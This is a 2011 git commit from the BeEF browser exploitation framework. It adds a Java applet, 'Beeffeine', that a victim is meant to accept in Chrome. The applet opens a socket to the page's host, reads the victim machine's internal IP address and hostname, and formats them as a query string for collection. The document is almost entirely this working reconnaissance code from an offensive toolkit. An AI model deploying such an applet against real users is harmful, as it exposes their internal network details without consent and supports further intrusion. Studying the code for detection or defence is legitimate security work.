Addresses some of issue 135 - local settings are detected for chrome with user interaction to accept java

git-svn-id: https://beef.googlecode.com/svn/trunk@1062 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
xntrik
2011-07-13 01:56:58 +00:00
parent 80090daea1
commit 63eef3e97e
5 changed files with 93 additions and 9 deletions

View File

@@ -0,0 +1,48 @@
import java.applet.*;
import java.net.*;
import java.util.*;
public class Beeffeine extends Applet {
public String MyIP()
{
String string = "unknown";
String string4 = getDocumentBase().getHost();
byte j = 80;
String string2;
String string3 = "internal_ip=";
int k = 80;
if (getDocumentBase().getPort() != -1)
k = getDocumentBase().getPort();
try {
string2 = new Socket(string4 , k).getLocalAddress().getHostAddress();
if (!string2.equals("255.255.255.255"))
string3 += string2;
}
catch (SecurityException securityexception) {
string3 += "FORBIDDEN";
}
catch (Exception exception) {
string3 += "exception";
}
string3 += "&internal_hostname=";
try {
string3 += new Socket(string4 , k).getLocalAddress().getHostName();
}
catch (Exception exception) {
string3 += "Cannot Lookup this IP";
}
return (string3);
}
public Beeffeine() {
super();
return;
}
}